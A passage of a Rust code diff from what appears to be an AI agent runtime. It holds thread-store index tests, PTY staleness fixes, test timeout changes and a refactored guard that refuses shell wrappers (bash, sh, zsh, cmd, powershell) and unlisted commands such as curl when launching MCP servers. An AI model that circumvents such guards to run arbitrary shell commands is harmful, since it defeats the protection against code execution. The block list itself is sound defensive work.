let mut reply = sample_item("trn_older", "itm_reply", TurnItemLifecycleStatus::Completed);
|
||||
reply.kind = TurnItemKind::AgentMessage;
|
||||
reply.summary = "older reply".to_string();
|
||||
reply.detail = Some("older reply".to_string());
|
||||
older.item_ids = vec![reply.id.clone()];
|
||||
|
||||
// The newest turn is a status-only record: a routing settlement, or a turn
|
||||
// whose items never carried a message.
|
||||
let newer_at = Utc::now();
|
||||
let mut newer = sample_turn(&thread.id, "trn_newer", RuntimeTurnStatus::Completed);
|
||||
newer.created_at = newer_at;
|
||||
newer.started_at = Some(newer_at);
|
||||
newer.item_ids = vec!["itm_status".to_string()];
|
||||
|
||||
manager.store.save_item(&reply)?;
|
||||
manager.store.save_item(&sample_item(
|
||||
"trn_newer",
|
||||
"itm_status",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))?;
|
||||
manager.store.save_turn(&older)?;
|
||||
manager.store.save_turn(&newer)?;
|
||||
|
||||
manager.reset_whole_store_scan_file_reads();
|
||||
let facts = manager
|
||||
.thread_list_facts(std::slice::from_ref(&thread.id))
|
||||
.await?;
|
||||
let (_, item_reads) = manager.whole_store_scan_file_reads();
|
||||
|
||||
assert_eq!(
|
||||
item_reads, 0,
|
||||
"the fallback still reads turns, not the store"
|
||||
);
|
||||
assert_eq!(facts[&thread.id].preview.as_deref(), Some("older reply"));
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// A turn written before `item_ids` existed has no item list to read by, so the
|
||||
/// summary still reaches it through the directory scan that answered every turn
|
||||
/// before this change — one pass for the page, and the thread's walk resumes
|
||||
/// from the turn it stopped on.
|
||||
#[tokio::test]
|
||||
async fn thread_list_facts_still_answers_a_turn_without_item_ids() -> Result<()> {
|
||||
let dir = test_runtime_dir();
|
||||
let manager = test_manager(dir.clone())?;
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest {
|
||||
workspace: Some(dir.clone()),
|
||||
..CreateThreadRequest::default()
|
||||
})
|
||||
.await?;
|
||||
|
||||
let mut turn = sample_turn(&thread.id, "trn_legacy", RuntimeTurnStatus::Completed);
|
||||
turn.item_ids = Vec::new();
|
||||
let mut reply = sample_item(
|
||||
"trn_legacy",
|
||||
"itm_legacy_reply",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
);
|
||||
reply.kind = TurnItemKind::AgentMessage;
|
||||
reply.summary = "legacy reply".to_string();
|
||||
reply.detail = Some("legacy reply".to_string());
|
||||
manager.store.save_item(&reply)?;
|
||||
manager.store.save_turn(&turn)?;
|
||||
|
||||
manager.reset_whole_store_scan_file_reads();
|
||||
let facts = manager
|
||||
.thread_list_facts(std::slice::from_ref(&thread.id))
|
||||
.await?;
|
||||
let (_, item_reads) = manager.whole_store_scan_file_reads();
|
||||
|
||||
assert!(
|
||||
item_reads > 0,
|
||||
"a turn with no item list can only be found by scanning"
|
||||
);
|
||||
assert_eq!(facts[&thread.id].preview.as_deref(), Some("legacy reply"));
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Opening threads costs one items-directory read per store, not one per open,
|
||||
/// and the later opens still answer with the same items.
|
||||
#[test]
|
||||
fn list_items_for_turns_map_reads_the_items_directory_once_per_store() {
|
||||
let dir = test_runtime_dir();
|
||||
let store = RuntimeThreadStore::open(dir.clone()).expect("open store");
|
||||
|
||||
let mut saved = Vec::new();
|
||||
for turn in 0..3 {
|
||||
for position in 0..4 {
|
||||
let id = format!("itm_{turn}_{position}");
|
||||
saved.push(id.clone());
|
||||
store
|
||||
.save_item(&sample_item(
|
||||
&format!("trn_{turn}"),
|
||||
&id,
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))
|
||||
.expect("save item");
|
||||
}
|
||||
}
|
||||
let turn_ids: Vec<String> = (0..3).map(|turn| format!("trn_{turn}")).collect();
|
||||
let read_items = |map: &HashMap<String, Vec<TurnItemRecord>>| {
|
||||
let mut ids: Vec<String> = map.values().flatten().map(|item| item.id.clone()).collect();
|
||||
ids.sort();
|
||||
ids
|
||||
};
|
||||
|
||||
store
|
||||
.item_dir_files_read
|
||||
.store(0, std::sync::atomic::Ordering::SeqCst);
|
||||
let first = store
|
||||
.list_items_for_turns_map(&turn_ids)
|
||||
.expect("first read");
|
||||
assert_eq!(
|
||||
store
|
||||
.item_dir_files_read
|
||||
.load(std::sync::atomic::Ordering::SeqCst),
|
||||
saved.len() as u64,
|
||||
"the first read of a store has to find its items the only way there is"
|
||||
);
|
||||
|
||||
store
|
||||
.item_dir_files_read
|
||||
.store(0, std::sync::atomic::Ordering::SeqCst);
|
||||
let second = store
|
||||
.list_items_for_turns_map(&turn_ids)
|
||||
.expect("second read");
|
||||
assert_eq!(
|
||||
store
|
||||
.item_dir_files_read
|
||||
.load(std::sync::atomic::Ordering::SeqCst),
|
||||
0,
|
||||
"a later read must come off the index, not the directory"
|
||||
);
|
||||
|
||||
let ids = read_items(&first);
|
||||
assert_eq!(ids, saved);
|
||||
assert_eq!(read_items(&second), saved);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// What the server's startup warm-up buys: the first thread a client opens no
|
||||
/// longer pays the whole-directory read.
|
||||
#[test]
|
||||
fn a_warmed_store_opens_a_thread_without_reading_the_items_directory() {
|
||||
let dir = test_runtime_dir();
|
||||
let store = RuntimeThreadStore::open(dir.clone()).expect("open store");
|
||||
let turn_id = "trn_warm".to_string();
|
||||
store
|
||||
.save_item(&sample_item(
|
||||
&turn_id,
|
||||
"itm_warm",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))
|
||||
.expect("save item");
|
||||
|
||||
store.ensure_item_index().expect("warm the index");
|
||||
store
|
||||
.item_dir_files_read
|
||||
.store(0, std::sync::atomic::Ordering::SeqCst);
|
||||
|
||||
let items = store
|
||||
.list_items_for_turns_map(std::slice::from_ref(&turn_id))
|
||||
.expect("read a thread's items");
|
||||
assert_eq!(items[&turn_id].len(), 1);
|
||||
assert_eq!(
|
||||
store
|
||||
.item_dir_files_read
|
||||
.load(std::sync::atomic::Ordering::SeqCst),
|
||||
0,
|
||||
"a warmed store must answer from the index alone"
|
||||
);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// The index is exact, not a snapshot: an item the store holds is returned
|
||||
/// whether or not the turn ever registered it, and whether it was written
|
||||
/// before or after the index was built.
|
||||
///
|
||||
/// An item that lands after its turn settled is deliberately never pushed into
|
||||
/// that turn's `item_ids` (`attach_item_to_turn`), and the rebuild paths read it
|
||||
/// out of the directory anyway. A read that trusted `item_ids` would lose it —
|
||||
/// which is the whole reason the index exists rather than a narrower lookup.
|
||||
#[test]
|
||||
fn item_reads_include_items_a_turn_never_registered() {
|
||||
let dir = test_runtime_dir();
|
||||
let store = RuntimeThreadStore::open(dir.clone()).expect("open store");
|
||||
let turn_id = "trn_unregistered".to_string();
|
||||
|
||||
// The first item is what a read finds before the index exists.
|
||||
store
|
||||
.save_item(&sample_item(
|
||||
&turn_id,
|
||||
"itm_before_index",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))
|
||||
.expect("save item");
|
||||
let seeded = store
|
||||
.list_items_for_turns_map(std::slice::from_ref(&turn_id))
|
||||
.expect("seed the index");
|
||||
assert_eq!(seeded[&turn_id].len(), 1);
|
||||
|
||||
// And this one is written after it, registered by nothing.
|
||||
store
|
||||
.save_item(&sample_item(
|
||||
&turn_id,
|
||||
"itm_after_index",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))
|
||||
.expect("save late item");
|
||||
let read = store
|
||||
.list_items_for_turns_map(std::slice::from_ref(&turn_id))
|
||||
.expect("read after the write");
|
||||
let mut ids: Vec<String> = read[&turn_id].iter().map(|item| item.id.clone()).collect();
|
||||
ids.sort();
|
||||
assert_eq!(ids, vec!["itm_after_index", "itm_before_index"]);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// A write that races the directory read is recorded, and the published map
|
||||
/// drains that record once — not twice, even though the read also saw the file
|
||||
/// on disk.
|
||||
///
|
||||
/// Holding the seed guard is what a running read does, so the write below takes
|
||||
/// the recorded branch rather than the map's. Without it the branch is only
|
||||
/// reachable by timing, and a duplicate would show up as the same item twice in
|
||||
/// a thread's transcript.
|
||||
#[test]
|
||||
fn an_item_written_while_the_index_is_being_built_is_published_once() {
|
||||
let dir = test_runtime_dir();
|
||||
let store = RuntimeThreadStore::open(dir.clone()).expect("open store");
|
||||
let turn_id = "trn_racing_write".to_string();
|
||||
|
||||
let seed = store.item_index_seed.lock();
|
||||
store
|
||||
.save_item(&sample_item(
|
||||
&turn_id,
|
||||
"itm_racing_write",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
))
|
||||
.expect("save an item while a read is running");
|
||||
drop(seed);
|
||||
|
||||
let read = store
|
||||
.list_items_for_turns_map(std::slice::from_ref(&turn_id))
|
||||
.expect("read after the write");
|
||||
let ids: Vec<&str> = read[&turn_id].iter().map(|item| item.id.as_str()).collect();
|
||||
assert_eq!(ids, vec!["itm_racing_write"]);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// The runtime saves one item id several times (in progress, then completed or
|
||||
/// failed). Once the index is warm, every one of those saves reaches the
|
||||
/// published map, and the item must still come back once, not once per save.
|
||||
#[test]
|
||||
fn an_item_saved_again_after_the_index_is_warm_is_listed_once() {
|
||||
let dir = test_runtime_dir();
|
||||
let store = RuntimeThreadStore::open(dir.clone()).expect("open store");
|
||||
let turn_id = "trn_resaved".to_string();
|
||||
|
||||
store.ensure_item_index().expect("warm the index");
|
||||
for status in [
|
||||
TurnItemLifecycleStatus::InProgress,
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
] {
|
||||
store
|
||||
.save_item(&sample_item(&turn_id, "itm_resaved", status))
|
||||
.expect("save item");
|
||||
}
|
||||
// A batch write of the same id takes the same path.
|
||||
let again = sample_item(&turn_id, "itm_resaved", TurnItemLifecycleStatus::Completed);
|
||||
store.save_items_batch(&[&again]).expect("batch save item");
|
||||
|
||||
let read = store
|
||||
.list_items_for_turns_map(std::slice::from_ref(&turn_id))
|
||||
.expect("read the turn");
|
||||
let items = &read[&turn_id];
|
||||
assert_eq!(items.len(), 1, "one item id, one item");
|
||||
assert_eq!(items[0].status, TurnItemLifecycleStatus::Completed);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// A turn can still name an item whose file was removed. The thread list skips
|
||||
/// that id and keeps looking, instead of failing the whole summary page.
|
||||
#[tokio::test]
|
||||
async fn thread_list_facts_skips_an_item_file_that_is_gone() -> Result<()> {
|
||||
let dir = test_runtime_dir();
|
||||
let manager = test_manager(dir.clone())?;
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest {
|
||||
workspace: Some(dir.clone()),
|
||||
..CreateThreadRequest::default()
|
||||
})
|
||||
.await?;
|
||||
|
||||
let mut turn = sample_turn(&thread.id, "trn_gone", RuntimeTurnStatus::Completed);
|
||||
let mut reply = sample_item("trn_gone", "itm_reply", TurnItemLifecycleStatus::Completed);
|
||||
reply.kind = TurnItemKind::AgentMessage;
|
||||
reply.summary = "kept reply".to_string();
|
||||
reply.detail = Some("kept reply".to_string());
|
||||
turn.item_ids = vec![reply.id.clone(), "itm_removed".to_string()];
|
||||
manager.store.save_item(&reply)?;
|
||||
manager.store.save_turn(&turn)?;
|
||||
|
||||
let facts = manager
|
||||
.thread_list_facts(std::slice::from_ref(&thread.id))
|
||||
.await?;
|
||||
assert_eq!(facts[&thread.id].preview.as_deref(), Some("kept reply"));
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// The summary route settles recovered turns through
|
||||
/// `flush_recovery_receipts` now that its rows no longer go through
|
||||
/// `get_thread_detail`. That settled state is what the page's attention count
|
||||
@@ -20305,7 +20736,6 @@ async fn runtime_receipts_mask_configured_secrets() -> Result<()> {
|
||||
/// `[tools] user_input_timeout_seconds` no longer bounds approvals.
|
||||
#[test]
|
||||
fn runtime_approvals_wait_indefinitely_unless_approval_timeout_is_set() -> Result<()> {
|
||||
let _override = lock_approval_timeout_override();
|
||||
let manager = test_manager(test_runtime_dir())?;
|
||||
assert_eq!(manager.approval_decision_timeout(), None);
|
||||
|
||||
|
||||
@@ -293,21 +293,9 @@ impl ToolSpec for StartRuntimeMcpServer {
|
||||
parsed.config.connect_timeout = Some(timeout);
|
||||
}
|
||||
|
||||
// Reject shell-wrapped commands that could execute arbitrary code
|
||||
// Refuse shell wrappers and anything outside the runtime allowlist.
|
||||
if let Some(ref cmd) = parsed.config.command {
|
||||
let cmd_lower = cmd.to_lowercase();
|
||||
if cmd_lower == "bash"
|
||||
|| cmd_lower == "sh"
|
||||
|| cmd_lower == "zsh"
|
||||
|| cmd_lower == "cmd"
|
||||
|| cmd_lower == "powershell"
|
||||
{
|
||||
return Err(ToolError::invalid_input(format!(
|
||||
"Shell wrapper commands ({cmd}) are not allowed. \
|
||||
Provide the actual MCP server command directly, \
|
||||
e.g. 'npx @modelcontextprotocol/server-filesystem /tmp'"
|
||||
)));
|
||||
}
|
||||
validate_runtime_command(cmd)?;
|
||||
}
|
||||
|
||||
// Reject shell metacharacters in arguments to prevent injection.
|
||||
@@ -318,27 +306,6 @@ impl ToolSpec for StartRuntimeMcpServer {
|
||||
// (2026-08-04 audit).
|
||||
reject_shell_metacharacters(&parsed.config.args)?;
|
||||
|
||||
// Allowlist of known MCP server runtimes and package managers.
|
||||
// Commands not in this list are rejected to prevent arbitrary execution.
|
||||
if let Some(ref cmd) = parsed.config.command {
|
||||
let cmd_base = std::path::Path::new(cmd)
|
||||
.file_stem()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
const ALLOWED_COMMANDS: &[&str] = &[
|
||||
"npx", "npm", "pnpm", "yarn", "bunx", "bun", "node", "python", "python3", "uvx",
|
||||
"uv", "deno", "ruby", "cargo",
|
||||
];
|
||||
if !ALLOWED_COMMANDS.contains(&cmd_base.as_ref()) {
|
||||
return Err(ToolError::invalid_input(format!(
|
||||
"Command '{cmd}' is not in the allowed list. \
|
||||
Permitted commands: {}",
|
||||
ALLOWED_COMMANDS.join(", ")
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
let server_name = custom_name
|
||||
.map(sanitize_name)
|
||||
.unwrap_or(parsed.name)
|
||||
@@ -423,6 +390,44 @@ fn connected_result(
|
||||
output
|
||||
}
|
||||
|
||||
/// Shell interpreters that would run an arbitrary script as the "server".
|
||||
const SHELL_WRAPPERS: &[&str] = &["bash", "sh", "zsh", "cmd", "powershell"];
|
||||
|
||||
/// Known MCP server runtimes and package managers. Anything else is refused
|
||||
/// to prevent arbitrary execution.
|
||||
const ALLOWED_COMMANDS: &[&str] = &[
|
||||
"npx", "npm", "pnpm", "yarn", "bunx", "bun", "node", "python", "python3", "uvx", "uv", "deno",
|
||||
"ruby", "cargo",
|
||||
];
|
||||
|
||||
/// Refuse a runtime MCP command that is a shell wrapper or is not a known
|
||||
/// server runtime. Both checks read the command's lowercased file stem, so
|
||||
/// `/bin/zsh` and `powershell.exe` are named for what they are. Kept out of
|
||||
/// `execute` (as [`reject_shell_metacharacters`] is) so tests exercise the
|
||||
/// real guard rather than a copy of its list.
|
||||
fn validate_runtime_command(cmd: &str) -> Result<(), ToolError> {
|
||||
let cmd_base = std::path::Path::new(cmd)
|
||||
.file_stem()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
if SHELL_WRAPPERS.contains(&cmd_base.as_str()) {
|
||||
return Err(ToolError::invalid_input(format!(
|
||||
"Shell wrapper commands ({cmd}) are not allowed. \
|
||||
Provide the actual MCP server command directly, \
|
||||
e.g. 'npx @modelcontextprotocol/server-filesystem /tmp'"
|
||||
)));
|
||||
}
|
||||
if !ALLOWED_COMMANDS.contains(&cmd_base.as_str()) {
|
||||
return Err(ToolError::invalid_input(format!(
|
||||
"Command '{cmd}' is not in the allowed list. \
|
||||
Permitted commands: {}",
|
||||
ALLOWED_COMMANDS.join(", ")
|
||||
)));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Refuse MCP server arguments carrying shell metacharacters.
|
||||
///
|
||||
/// Redirects (`>`), pipes (`|`), chaining (`;`, `&`), subshells (`` ` ``), and
|
||||
@@ -786,10 +791,30 @@ mod tests {
|
||||
// === command validation tests ===
|
||||
|
||||
#[test]
|
||||
fn reject_shell_wrapper_bash() {
|
||||
let result = parse_mcp_command("bash -c 'npx server'");
|
||||
assert!(result.is_ok()); // parsing succeeds
|
||||
// but execute would reject — tested via parse_mcp_command structure
|
||||
fn shell_wrappers_and_unlisted_commands_are_refused() {
|
||||
for (cmd, reason) in [
|
||||
("bash", "Shell wrapper"),
|
||||
("sh", "Shell wrapper"),
|
||||
("/bin/zsh", "Shell wrapper"),
|
||||
("powershell", "Shell wrapper"),
|
||||
("PowerShell.exe", "Shell wrapper"),
|
||||
("curl", "not in the allowed list"),
|
||||
] {
|
||||
let err =
|
||||
super::validate_runtime_command(cmd).expect_err(&format!("{cmd} must be refused"));
|
||||
assert!(err.to_string().contains(reason), "{cmd}: {err}");
|
||||
}
|
||||
// The parsed command, not the raw string, is what gets checked.
|
||||
let parsed = parse_mcp_command("bash -c 'npx server'").expect("parses");
|
||||
let cmd = parsed.config.command.expect("stdio command");
|
||||
assert!(super::validate_runtime_command(&cmd).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn known_runtimes_pass_the_command_guard() {
|
||||
for cmd in ["npx", "/usr/local/bin/node", "python3", "uvx", "cargo"] {
|
||||
assert!(super::validate_runtime_command(cmd).is_ok(), "{cmd}");
|
||||
}
|
||||
}
|
||||
|
||||
/// These used to assert only that their own input string contained the
|
||||
@@ -826,20 +851,6 @@ mod tests {
|
||||
assert!(super::reject_shell_metacharacters(&args).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn allowlist_includes_common_runtimes() {
|
||||
// Verify the allowlist covers the expected commands
|
||||
const ALLOWED: &[&str] = &[
|
||||
"npx", "npm", "pnpm", "yarn", "bunx", "bun", "node", "python", "python3", "uvx", "uv",
|
||||
"deno", "ruby", "cargo",
|
||||
];
|
||||
// All standard MCP server launchers should be present
|
||||
assert!(ALLOWED.contains(&"npx"));
|
||||
assert!(ALLOWED.contains(&"node"));
|
||||
assert!(ALLOWED.contains(&"python3"));
|
||||
assert!(ALLOWED.contains(&"uvx"));
|
||||
}
|
||||
|
||||
// === approval-gate contract ===
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -1696,9 +1696,13 @@ impl BackgroundShell {
|
||||
.unwrap_or((0, String::new()));
|
||||
let elapsed_since_output_ms = (self.status == ShellStatus::Running)
|
||||
.then(|| u64::try_from(self.last_output_at.elapsed().as_millis()).unwrap_or(u64::MAX));
|
||||
let stale = elapsed_since_output_ms.is_some_and(|elapsed| {
|
||||
elapsed >= u64::try_from(STALE_NO_OUTPUT_AFTER.as_millis()).unwrap_or(u64::MAX)
|
||||
});
|
||||
// A live PTY can wait indefinitely for input. Silence does not mean it
|
||||
// lost its process owner; marking it stale hides its transport from API
|
||||
// clients and incorrectly prevents reconnect/resize after one minute.
|
||||
let stale = self.terminal_size.is_none()
|
||||
&& elapsed_since_output_ms.is_some_and(|elapsed| {
|
||||
elapsed >= u64::try_from(STALE_NO_OUTPUT_AFTER.as_millis()).unwrap_or(u64::MAX)
|
||||
});
|
||||
ShellJobSnapshot {
|
||||
id: self.id.clone(),
|
||||
job_id: self.id.clone(),
|
||||
|
||||
@@ -5058,6 +5058,18 @@ fn pty_resize_updates_live_terminal_and_rejects_finished_or_pipe_jobs() {
|
||||
}
|
||||
assert!(Instant::now() < deadline, "PTY did not become ready");
|
||||
}
|
||||
// Reopening a client after an idle minute must retain this live PTY's
|
||||
// identity and resize eligibility; output silence is normal at a prompt.
|
||||
manager.processes.get_mut(&id).unwrap().last_output_at =
|
||||
Instant::now() - STALE_NO_OUTPUT_AFTER - Duration::from_millis(1);
|
||||
let idle = manager.inspect_job(&id).unwrap().snapshot;
|
||||
assert_eq!(idle.status, ShellStatus::Running);
|
||||
assert!(idle.stdin_available);
|
||||
assert!(!idle.stale, "an idle live PTY must remain reconnectable");
|
||||
assert!(
|
||||
idle.elapsed_since_output_ms
|
||||
.is_some_and(|ms| ms >= STALE_NO_OUTPUT_AFTER.as_millis() as u64)
|
||||
);
|
||||
let size = PtyDimensions {
|
||||
rows: 37,
|
||||
cols: 111,
|
||||
|
||||
@@ -44,7 +44,13 @@ async fn fixture(mode: &'static str, first_tokens: u64, max_steps: u32) -> Fixtu
|
||||
// Only these cases exercise wall/API timeouts. The other cases exercise
|
||||
// budget and report semantics, so leave room for full-suite scheduling.
|
||||
let timeout_case = matches!(mode, "hold" | "timeout" | "work-timeout");
|
||||
let wall_time_secs = if timeout_case { 5 } else { 30 };
|
||||
// "work-timeout" narrows its own deadline below; its 30s budget sizes the
|
||||
// hand-back reserve and must not undercut that deadline.
|
||||
let wall_time_secs = if matches!(mode, "hold" | "timeout") {
|
||||
5
|
||||
} else {
|
||||
30
|
||||
};
|
||||
let workspace = tempdir().unwrap();
|
||||
fs::write(
|
||||
workspace.path().join("README.md"),
|
||||
@@ -138,13 +144,13 @@ async fn fixture(mode: &'static str, first_tokens: u64, max_steps: u32) -> Fixtu
|
||||
// unreported-usage state write, the pre-report checkpoint and the
|
||||
// loopback connect before the report reached the server. On Windows
|
||||
// CI it did not fit, so the report fell back without reaching the
|
||||
// server (2 requests, not 3). A 20s budget reserves 2s. The work
|
||||
// deadline lands 2s in (more headroom than before for the first two
|
||||
// calls), and the step API timeout below is longer than that, so the
|
||||
// in-flight call is still abandoned by wall time, not by a step
|
||||
// timeout.
|
||||
spec.runtime_profile.wall_time_secs = Some(20);
|
||||
spec.runtime_profile.wall_deadline_ms = Some(epoch_millis_now() + 4_000);
|
||||
// server (2 requests, not 3). A 30s budget reserves 3s. The work
|
||||
// deadline lands 6s in: the first call, its tool, and the dispatch of
|
||||
// the second call must all fit before it, and a loaded shared-process
|
||||
// `cargo test --workspace` run overran the earlier 2s (#6698). The
|
||||
// step API timeout below is longer than that, so the in-flight call
|
||||
// is still abandoned by wall time, not by a step timeout.
|
||||
spec.runtime_profile.wall_deadline_ms = Some(epoch_millis_now() + 9_000);
|
||||
}
|
||||
spec.launch_manifest = Some(serde_json::from_value(json!({
|
||||
"owner_session": "root", "child_id": "report-worker", "profile": spec.runtime_profile,
|
||||
@@ -168,9 +174,9 @@ async fn fixture(mode: &'static str, first_tokens: u64, max_steps: u32) -> Fixtu
|
||||
runtime.step_api_timeout = if mode == "timeout" {
|
||||
Duration::from_millis(100)
|
||||
} else if mode == "work-timeout" {
|
||||
// Past the 2s work deadline, and bounding the held hand-back call
|
||||
// no tighter than the 4s hard deadline already does.
|
||||
Duration::from_secs(5)
|
||||
// Past the 6s work deadline, and bounding the held hand-back call
|
||||
// no tighter than the 9s hard deadline already does.
|
||||
Duration::from_secs(10)
|
||||
} else if timeout_case {
|
||||
Duration::from_secs(2)
|
||||
} else {
|
||||
|
||||
@@ -22851,7 +22851,10 @@ async fn resume_keeps_recorded_reasoning_in_manifest_and_request_after_parent_ch
|
||||
"resuming must not rewrite the interrupted record"
|
||||
);
|
||||
}
|
||||
tokio::time::timeout(Duration::from_secs(5), async {
|
||||
// Readiness only: the poll ends on the first request. A loaded
|
||||
// shared-process `cargo test` run, where env readers can queue behind the
|
||||
// process-wide test env barrier, overran 5s here (#6698).
|
||||
tokio::time::timeout(Duration::from_secs(30), async {
|
||||
while calls.load(Ordering::SeqCst) == 0 {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
@@ -23104,8 +23107,14 @@ mod child_permission_gate {
|
||||
(store, registry.gate_runtime.context.state_namespace.clone())
|
||||
}
|
||||
|
||||
/// Readiness ceiling for a child's approval prompt or wait-end event to
|
||||
/// reach hosts. It ends on the first matching event, so it only bounds how
|
||||
/// long a stuck case takes to fail; a loaded shared-process `cargo test`
|
||||
/// run overran the earlier 2s and 5s ceilings (#6698).
|
||||
const CHILD_APPROVAL_EVENT_READINESS: std::time::Duration = std::time::Duration::from_secs(30);
|
||||
|
||||
async fn next_child_approval_id(rx: &mut tokio::sync::mpsc::Receiver<Event>) -> String {
|
||||
tokio::time::timeout(std::time::Duration::from_secs(2), async {
|
||||
tokio::time::timeout(CHILD_APPROVAL_EVENT_READINESS, async {
|
||||
while let Some(event) = rx.recv().await {
|
||||
if let Event::ApprovalRequired { id, .. } = event {
|
||||
return id;
|
||||
@@ -23631,7 +23640,7 @@ mod child_permission_gate {
|
||||
rx: &mut tokio::sync::mpsc::Receiver<Event>,
|
||||
approval_id: &str,
|
||||
) -> AgentWorkerStatus {
|
||||
tokio::time::timeout(std::time::Duration::from_secs(5), async {
|
||||
tokio::time::timeout(CHILD_APPROVAL_EVENT_READINESS, async {
|
||||
while let Some(event) = rx.recv().await {
|
||||
if let Event::AgentProgress { activity, .. } = event
|
||||
&& activity.approval_id.as_deref() == Some(approval_id)
|
||||
@@ -23721,19 +23730,30 @@ mod child_permission_gate {
|
||||
async fn wall_deadline_ends_pending_wait_with_receipt() {
|
||||
let (registry, mut rx, manager) = worker_registry(ApprovalMode::Suggest, false, true, None);
|
||||
let (receipt_store, session_id) = receipt_context(®istry);
|
||||
let mut gated =
|
||||
Box::pin(registry.execute("agent_gate", "bash", json!({"command": "echo gated"})));
|
||||
// Drive the call until its prompt is out, then start the deadline:
|
||||
// a deadline armed before the prompt could expire first on a loaded
|
||||
// shared-process run and never exercise the pending wait (#6698).
|
||||
let approval_id = tokio::select! {
|
||||
id = next_child_approval_id(&mut rx) => id,
|
||||
_ = &mut gated => panic!("the gated call finished without prompting"),
|
||||
};
|
||||
let work_deadline = Instant::now() + Duration::from_millis(300);
|
||||
let ran = run_tool_with_person_aware_timeout(
|
||||
Duration::from_secs(60),
|
||||
Some(work_deadline),
|
||||
®istry.person_wait,
|
||||
registry.execute("agent_gate", "bash", json!({"command": "echo gated"})),
|
||||
&mut gated,
|
||||
)
|
||||
.await;
|
||||
assert!(
|
||||
ran.is_none(),
|
||||
"the wall-clock deadline still ends the agent"
|
||||
);
|
||||
let approval_id = next_child_approval_id(&mut rx).await;
|
||||
// The production deadline drops the owned call; drop it here too so
|
||||
// its wait guard withdraws the request.
|
||||
drop(gated);
|
||||
let status = next_wait_end(&mut rx, &approval_id).await;
|
||||
assert!(status.is_terminal(), "{status:?}");
|
||||
assert_eq!(manager.read().await.pending_child_approvals(), 0);
|
||||
|
||||
@@ -97,6 +97,20 @@ pub(crate) enum McpLoginProgress {
|
||||
Finished(Result<(), String>),
|
||||
}
|
||||
|
||||
/// One `/mcp retry <name>` in flight. The retry runs as an engine op from a
|
||||
/// background task, so a running turn queues it in the engine mailbox instead
|
||||
/// of parking the UI loop (#6159) or asking the person to press it again; the
|
||||
/// outcome lands in `result` and `poll_mcp_retries` reports it.
|
||||
pub(crate) struct PendingMcpRetry {
|
||||
pub server: String,
|
||||
/// A turn owned the engine when the retry was requested, so it waits for
|
||||
/// that turn to finish before it connects.
|
||||
pub queued: bool,
|
||||
pub result: std::sync::Arc<
|
||||
std::sync::Mutex<Option<Result<crate::core::ops::McpManagerUpdate, String>>>,
|
||||
>,
|
||||
}
|
||||
|
||||
impl Drop for PendingMcpLogin {
|
||||
fn drop(&mut self) {
|
||||
self.cancel.cancel();
|
||||
@@ -2384,6 +2398,8 @@ pub struct App {
|
||||
/// Discovery, registration and the browser callback all run in the
|
||||
/// background. Esc or dropping the app cancels the entire operation.
|
||||
pub(crate) mcp_login: Option<PendingMcpLogin>,
|
||||
/// `/mcp retry` requests still waiting on the engine, one per server.
|
||||
pub(crate) mcp_retries: Vec<PendingMcpRetry>,
|
||||
/// Shared cell for async prompt suggestion delivery from background task.
|
||||
pub prompt_suggestion_cell: std::sync::Arc<std::sync::Mutex<Option<(u64, String)>>>,
|
||||
/// Tracks whether the initial balance fetch has been attempted for this session.
|
||||
@@ -5171,8 +5187,8 @@ impl App {
|
||||
})
|
||||
}
|
||||
|
||||
/// Pick the detail target for the current viewport. This is used by the
|
||||
/// transcript highlight and footer hint so they agree with `v`.
|
||||
/// Pick the detail target for the current viewport. The footer hint and
|
||||
/// Alt+V both resolve through this so they agree on the target.
|
||||
#[must_use]
|
||||
pub fn detail_cell_index_for_viewport(
|
||||
&self,
|
||||
@@ -5609,6 +5625,12 @@ impl App {
|
||||
/// line is a `workflow` card marked `transcript_line: finished`, so it
|
||||
/// reuses the card renderer and expands in Transcript mode.
|
||||
///
|
||||
/// One row per run: when the call that started the run is already in
|
||||
/// history (its call returned, its record still says running), that card
|
||||
/// becomes the finish — the final state replaces `started` rather than
|
||||
/// stacking a second row under it. The card's tool-detail record is keyed
|
||||
/// separately and still holds what the model saw.
|
||||
///
|
||||
/// While a `workflow` card is still in the active group (a foreground
|
||||
/// `run`, or a `start` whose turn has not flushed) the line waits: pushed
|
||||
/// now it would land above the card that started it. `flush_active_cell`
|
||||
@@ -5631,6 +5653,11 @@ impl App {
|
||||
if card_in_flight {
|
||||
return;
|
||||
}
|
||||
let record_of = |tool: &GenericToolCell| {
|
||||
tool.output
|
||||
.as_deref()
|
||||
.and_then(|out| serde_json::from_str::<serde_json::Value>(out).ok())
|
||||
};
|
||||
// A foreground `run` card that returned its settled record already
|
||||
// shows the finish (history.rs); writing another would say it twice.
|
||||
